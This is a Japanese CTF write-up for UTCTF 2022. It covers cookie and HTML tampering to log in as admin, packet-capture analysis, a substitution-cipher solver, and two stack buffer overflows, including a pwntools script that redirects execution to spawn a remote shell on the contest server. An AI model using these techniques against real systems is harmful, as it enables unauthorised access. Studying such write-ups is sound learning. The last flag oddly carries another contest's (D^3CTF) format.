UTCTF 2022 Writeup

この大会は2022/3/12 9:00(JST)~2022/3/14 9:00(JST)に開催されました。
今回もチームで参戦。結果は1657点で560チーム中186位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord Rules (Misc)

Discordに入り、ルールに「チェックマーク」でリアクションすると、いろいろなチャネルが現れる。#generalチャネルのトピックを見ると、フラグが書いてあった。

utflag{@gree_2_t3rms&cond1t10n$}

Login as Admin Pt 1 (Beginner)

CookieのisAdminをTrueに設定し、admin/adminでログインすると、フラグが表示された。

utflag{t1m3_2_upd8_th@t_l@me_pwd}

Login as Admin Pt 2 (Beginner)

admn/adminでログインできればよいが、Log Inボタンが押せない。ブラウザのデベロッパーツールで編集し、inputタグの「disabled=""」を削除する。Log Inボタンが押せるようになるので、admn/adminでログインすると、フラグが表示された。

utflag{*re@lly*gott@_upd8_th@t_pwd}

Baby Shark (Beginner)

httpでフィルタリングする。No.15でflag.pngのGETリクエストのレスポンスがあるので、エクスポートする。この画像にフラグが書いてあった。
f:id:satou-y:20220321203504p:plain

utflag{eye_c_what_u_c}

Baby Shark 2 (Beginner)

ftpでフィルタリングする。No.19のFTPパスワードがフラグになっている。

utflag{sharkbait_hoo_ha_ha}

AAAAAAAAAAAAAAAA (Beginner)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_78 [111];
  char local_9;
  
  local_9 = '\0';
  gets(local_78);
  if (local_9 == 'B') {
    get_flag();
  }
  return 0;
}

void get_flag(void)

{
  char *local_18;
  undefined8 local_10;
  
  local_18 = "/bin/sh";
  local_10 = 0;
  execve("/bin/sh",&local_18,(char **)0x0);
  return;
}

BOFで任意の111バイトの後にBを指定すれば、/bin/shが起動される。

$ nc pwn.utctf.live 5000
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB
ls
flag.txt
cat flag.txt
utflag{you_expected_the_flag_to_be_screaming_but_it_was_me_dio98054042}
utflag{you_expected_the_flag_to_be_screaming_but_it_was_me_dio98054042}

Jump around (Beginner)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  char local_78 [112];
  
  printf("You know the drill");
  gets(local_78);
  return 0;
}

void get_flag(void)

{
  char *local_18;
  undefined8 local_10;
  
  local_18 = "/bin/sh";
  local_10 = 0;
  execve("/bin/sh",&local_18,(char **)0x0);
  return;
}

BOFでget_flag関数をコールすればよい。

$ gdb -q ./jump
Reading symbols from ./jump...(no debugging symbols found)...done.
gdb-peda$ pattc 128
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA'
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/jump 
You know the drillAAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x7ffff7dcda00 --> 0xfbad2288 
RDX: 0x7ffff7dcf8d0 --> 0x0 
RSI: 0x405671 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA\n")
RDI: 0x7fffffffdd81 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA")
RBP: 0x41414e4141384141 ('AA8AANAA')
RSP: 0x7fffffffddf8 ("jAA9AAOA")
RIP: 0x4011aa (<main+52>:	ret)
R8 : 0x4056f1 --> 0x0 
R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0)
R10: 0x405010 --> 0x0 
R11: 0x246 
R12: 0x401090 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40119f <main+41>:	call   0x401080 <gets@plt>
   0x4011a4 <main+46>:	mov    eax,0x0
   0x4011a9 <main+51>:	leave  
=> 0x4011aa <main+52>:	ret    
   0x4011ab <get_flag>:	endbr64 
   0x4011af <get_flag+4>:	push   rbp
   0x4011b0 <get_flag+5>:	mov    rbp,rsp
   0x4011b3 <get_flag+8>:	sub    rsp,0x10
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 ("jAA9AAOA")
0008| 0x7fffffffde00 --> 0x0 
0016| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe22f ("/mnt/hgfs/Shared/jump")
0024| 0x7fffffffde10 --> 0x100008000 
0032| 0x7fffffffde18 --> 0x401176 (<main>:	endbr64)
0040| 0x7fffffffde20 --> 0x0 
0048| 0x7fffffffde28 --> 0xe3689c9d93483736 
0056| 0x7fffffffde30 --> 0x401090 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004011aa in main ()
gdb-peda$ patto jAA9AAOA
jAA9AAOA found at offset: 120
#!/usr/bin/env python2
from pwn import *

if len(sys.argv) == 1:
    p = remote('pwn.utctf.live', 5001)
else:
    p = process('./jump')

elf = ELF('./jump')

get_flag_addr = elf.symbols['get_flag']

payload = 'A' * 120
payload += p64(get_flag_addr)

data = p.recvuntil('drill')
print data + payload
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to pwn.utctf.live on port 5001: Done
[*] '/mnt/hgfs/Shared/jump'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
You know the drillAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xab\x11\x00\x00\x00
[*] Switching to interactive mode
$ ls
flag.txt
$ cat flag.txt
utflag{we_do_be_overflowing_those_stacks13318}
utflag{we_do_be_overflowing_those_stacks13318}

Scrambled (Cryptography)

記号や数字を含む、換字式暗号になっている。頻度分析をして、推測しながら復号する。文字はキー入力になっており、Shiftキーなども含まれることに注意する。

with open('message.txt', 'r') as f:
    enc = f.read().rstrip()

dic = {}
for c in enc:
    if c in dic:
        dic[c] += 1
    else:
        dic[c] = 1

# data for frequency analysis
dic2 = sorted(dic.items(), key=lambda x:x[1], reverse=True)
print(dic2)

# guess(+: Shift key)
C = ',-./01234#5#678=[]abcfghijlmnopqr#tuvxyz'.replace('#', '')
P = 'gvyd/pi*\'\\kocsh]+,wn 1*l*tbafe\n.rmu*['

dec = ''.join(P[C.index(c)] for c in enc)
print(dec)

途中まで復号すると、以下のようになる。

+hello+1 +i will send you the flag in a second. +something funny happened though+1 +i picked up my keyboard, but the keys were in weird places.*+i don't know what happened, but it's okay since +i stare at the keyboard anyways +*+***+also +i've had a crush on you for years, do you want to go out with me+/





































































*+anyways, here is the flag +*hopefully+*+* utflag+[+sub+sti+tu+t+io+n+\c+i+ph+er+\+i+\h+ar+d+ly+\k+no+w+\h+er+]*

なお、"+"はShift Keyを表すように復号した。それを踏まえ書き直すと、以下のようになる。

Hello! I will send you the flag in a second. Something funny happened though! 
I picked up my keyboard, but the keys were in weird places.*I don't know what happened, 
but it's okay since I stare at the keyboard anyways +*+***Also I've had a crush on you for years, do you want to go out with me?

                     : (数回改行)

*Anyways, here is the flag +*hopefully+*+* utflag{SubStiTuTIoN_cIPhEr_I_hArDLy_kNoW_hEr}*
utflag{SubStiTuTIoN_cIPhEr_I_hArDLy_kNoW_hEr}

Mid CTF Survey (Misc)

アンケートに答えたら、フラグが表示された。

d3ctf{THAnk_yOu-F0R~parTIc1pAtinG-IN~D^3CTF~2O22}